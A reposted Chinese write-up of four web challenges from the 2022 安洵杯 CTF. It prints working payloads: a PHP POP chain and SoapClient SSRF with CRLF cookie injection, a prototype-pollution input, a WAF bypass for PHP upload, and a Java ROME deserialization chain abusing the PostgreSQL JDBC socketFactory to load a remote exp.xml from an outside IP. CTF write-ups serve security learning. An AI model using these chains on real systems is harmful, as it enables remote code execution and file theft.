安洵杯2022 Web Writeup

╰半橙微兮° 2024-03-31 02:19 75阅读 0赞

### babyphp ###

index.php:

<?php
    //something in flag.php
    class A
    {
        public $a;
        public $b;
        public function __wakeup()
        {
            $this->a = "babyhacker";
        }
        public function __invoke()
        {
            if (isset($this->a) && $this->a == md5($this->a)) {
                $this->b->uwant();
            }
        }
    }
    class B
    {
        public $a;
        public $b;
        public $k;
        function __destruct()
        {
            $this->b = $this->k;
            die($this->a);
        }
    }
    class C
    {
        public $a;
        public $c;
        public function __toString()
        {
            $cc = $this->c;
            return $cc();
        }
        public function uwant()
        {
            if ($this->a == "phpinfo") {
                phpinfo();
            } else {
                call_user_func(array(reset($_SESSION), $this->a));
            }
        }
    }
    if (isset($_GET['d0g3'])) {
        ini_set($_GET['baby'], $_GET['d0g3']);
        session_start();
        $_SESSION['sess'] = $_POST['sess'];
    }
    else{
        session_start();
        if (isset($_POST["pop"])) {
            unserialize($_POST["pop"]);
        }
    }
    var_dump($_SESSION);
    highlight_file(__FILE__);

flag.php:

<?php
    session_start();
    highlight_file(__FILE__);
    //flag在根目录下
    if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
        $f1ag=implode(array(new $_GET['a']($_GET['b'])));
        $_SESSION["F1AG"]= $f1ag;
    }else{
       echo "only localhost!!";
    }

通过构造 pop 链查看 phpinfo 发现 session.serialize\_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

思路就是先控制 ini\_set 的参数指定 serialize\_handler 为 php\_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient \_\_call 方法来触发 ssrf

ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

pop 链 payload:

<?php
    class A
    {
        public $a;
        public $b;
    }
    class B
    {
    }
    class C
    {
        public $a;
        public $c;
    }
    $cc = new C();
    $cc->a = 'xxxx';
    $a = new A();
    $a->a = '0e215962017';
    $a->b = $cc;
    $c = new C();
    $c->c = $a;
    $b = new B();
    $b->a = $c;
    echo serialize($b);

ssrf payload:

<?php
    // $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
    $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
    $b = serialize($a);
    echo '|'.urlencode($b);

先利用 GlobIterator

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271930808.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271931449.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271934414.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271935912.png]

再利用 SplFileObject

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271936690.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271936090.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271938787.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271938294.png]

### EZ\_JS ###

登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

主页右键注释如下:

一眼哈希长度扩展攻击

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271942270.png]

直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271943926.png]

结合之前的提示, 利用 js 的大小写特性:

'ı'.toUpperCase() == 'I' // true

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271944110.png]

之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

很明显要通过原型链来污染 req 的 flag 属性, payload 如下

id={"__proto__":+{"flag":+"flag"}}

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271947808.png]

之后转 get 访问得到 flag

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271948522.png]

静态靶机的截图

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271948518.png]

### ezupload ###

先上传 phpinfo

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271949581.png]

php 8.0.1, disable\_functions 过滤了一堆, 不过 file\_get\_contents() 可用, 通过它读取题目源码

<html>
    <body>
    <form method="POST" enctype="multipart/form-data">
    这前端不美si你！！！
    <input type="file" name="upload_file" />
    <input type="submit" name="submit" value="submit" />
    </form>
    </body>
    </html>
    <?php
    function waf($var): bool{
        $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
        foreach($blacklist as $blackword){
            if(stristr($var, $blackword)) return True;
        }
        return False;
    }
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uploads");
    $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_name = $_FILES['upload_file']['name'];
    $ext = pathinfo($file_name,PATHINFO_EXTENSION);
    if(!preg_match("/php/i", strtolower($ext))){
    die("俺不要图片,熊大");
    }
    $content = file_get_contents($temp_file);
    if(waf($content)){
        die("哎呦你干嘛，小黑子...");
    }
    $new_file_name = md5($file_name).".".$ext;
            $img_path = UPLOAD_PATH . '/' . $new_file_name;
            if (move_uploaded_file($temp_file, $img_path)){
                $is_upload = true;
            } else {
                $msg = 'Upload Failed!';
                die();
            }
            echo $msg."  ".$img_path;

位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

import re
    preg = '\*'
    def convertToURL(s):
        if s < 16:
            return '%0' + str(hex(s).replace('0x', ''))
        else:
            return '%' + str(hex(s).replace('0x', ''))
    def generateDicts():
        dicts = {}
        for i in range(256):
            for j in range(256):
                if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                    k = i | j
                    if k in range(32, 127):
                        if not k in dicts.keys():
                            dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
        return dicts
    def generatePayload(dicts, payload):
        s1 = ''
        s2 = ''
        for s in payload:
            s1 += dicts[s][0]
            s2 += dicts[s][1]
        return f'("{s1}"|"{s2}")'
    dicts = generateDicts()
    a = generatePayload(dicts, '/f*')
    print(a)

payload

<?php echo new GlobIterator('/f('|'/f"');

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954406.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271954406.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954423.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271954423.png]

然后用 file\_get\_contents() 读取 flag

<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955530.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271955530.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955702.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271955702.png]

### ezjaba ###

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-parent</artifactId>
            <version>2.7.5</version>
            <relativePath/> 
        </parent>
        <groupId>com.example</groupId>
        <artifactId>ezjaba</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <name>ezjaba</name>
        <description>ezjaba</description>
        <properties>
            <java.version>1.8</java.version>
        </properties>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-test</artifactId>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>com.rometools</groupId>
                <artifactId>rome</artifactId>
                <version>1.7.0</version>
            </dependency>
            <dependency>
                <groupId>org.postgresql</groupId>
                <artifactId>postgresql</artifactId>
                <version>42.3.1</version>
            </dependency>
            <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>8.0.12</version>
            </dependency>
        </dependencies>
        <build>
            <plugins>
                <plugin>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-maven-plugin</artifactId>
                </plugin>
            </plugins>
        </build>
    </project>

IndexController

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957830.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957830.png]

Database

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957963.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957963.png]

JdbcUtils

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957966.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957966.png]

SecurityObjectInpitStream

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271958986.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271958986.png]

过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

[https://xz.aliyun.com/t/11812][https_xz.aliyun.com_t_11812]

[https://mp.weixin.qq.com/s?\_\_biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce][https_mp.weixin.qq.com_s_biz_MzUzNDMyNjI3Mg_mid_2247485275_idx_1_sn_e06b07579ecef87f8cce4536d25789ce]

结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272004771.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272004771.png]

payload：

package com.example.ezjaba;
    import com.example.Reflection;
    import com.example.ezjaba.Connection.Database;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.util.*;
    public class RomeDemo {
        public static void main(String[] args) throws Exception{
            Database database = new Database();
            database.setDatabase("postgresql");
            database.setHots("127.0.0.1");
            database.setUsername("test");
            database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
            ToStringBean toStringBean = new ToStringBean(String.class, "123");
            XString xString = new XString("456");
            Map map1 = new HashMap();
            Map map2 = new HashMap();
            map1.put("yy",toStringBean);
            map1.put("zZ",xString);
            map2.put("yy",xString);
            map2.put("zZ",toStringBean);
            Map map = new HashMap();
            map.put(map1, 1);
            map.put(map2, 2);
            Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
            Reflection.setFieldValue(toStringBean, "obj", database);
            ByteArrayOutputStream arr = new ByteArrayOutputStream();
            try (ObjectOutputStream output = new ObjectOutputStream(arr)){
                output.writeUTF("axb");
                output.writeInt(2022);
                output.writeObject(map);
            }
            System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));
        }
    }

exp.xml：

vps 上挂着 exp.xml, 然后用 base64 payload 打一下

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272107558.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272107558.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272108046.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272108046.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272114396.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272114396.png]

转自原文链接： [https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/\#babyphp][https_exp10it.cn_2022_11_2022-_E5_AE_89_E6_B4_B5_E6_9D_AF-web-writeup_babyphp]

[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271930808.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/6410a8cd90084fc0a037d90052f48999.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271931449.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c002a8f88f9a4ccda9d14192747618af.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271934414.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e13cd3cfc0e44e6cb4918dfc483f3f93.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271935912.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/3dbd08978b484d57b8e29972fc68b876.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271936690.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/3fda57cb51ed4e0ba42d9bc3e39583c9.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271936090.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/b412c260bd494b2c83372fe91666b2c8.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271938787.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c204f3fe2b414e70b1ec9f25f31ccd77.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271938294.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/a11991e836934eb2a9ef5c21fa1a45ef.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271942270.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/84f288d8482348eeb6b83e7ccab51741.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271943926.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/6e0c94daeaf94409920cda52dd39981d.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271944110.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/03855436e8084f86958e9db31c3e4c29.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271947808.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/b70ea1c5108e4d6bb2e3708ceab8a616.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271948522.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/98c5d2f3635740138bf46240c482ce53.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271948518.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/6a057530a3ab47bb99b1c19fba295c3d.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271949581.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/cf794a1fcdc64cada82329d97ad47441.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271954406.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/a6b530c84e694e3db2ff37c6be487621.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271954423.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e0393d8c5c6649f79b2e96212874cc43.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271955530.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/5ee8b14b009346138a689205feb68db0.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271955702.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/a07c95b379384c3293c888e2ca924021.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957830.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c07653b414184cd1bb029df5ec0ff62b.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957963.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/865d51ac6fb64f21a9710bd41ba641ca.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271957966.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/d95ef4bc92f34f8ba708348a988771f0.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211271958986.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/789bab5cf02742e18586565cd311b386.png
[https_xz.aliyun.com_t_11812]: https://xz.aliyun.com/t/11812
[https_mp.weixin.qq.com_s_biz_MzUzNDMyNjI3Mg_mid_2247485275_idx_1_sn_e06b07579ecef87f8cce4536d25789ce]: https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272004771.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/28575f8de98443c48b07073ffa6502e3.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272107558.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/34127ce532104c739c7f9c64a2d7213a.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272108046.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/2dc5cb0eb75047a3a35c88e4c9c947a1.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202211272114396.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/98c57ae5e49e4e4bb38b52e4dfab1384.png
[https_exp10it.cn_2022_11_2022-_E5_AE_89_E6_B4_B5_E6_9D_AF-web-writeup_babyphp]: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp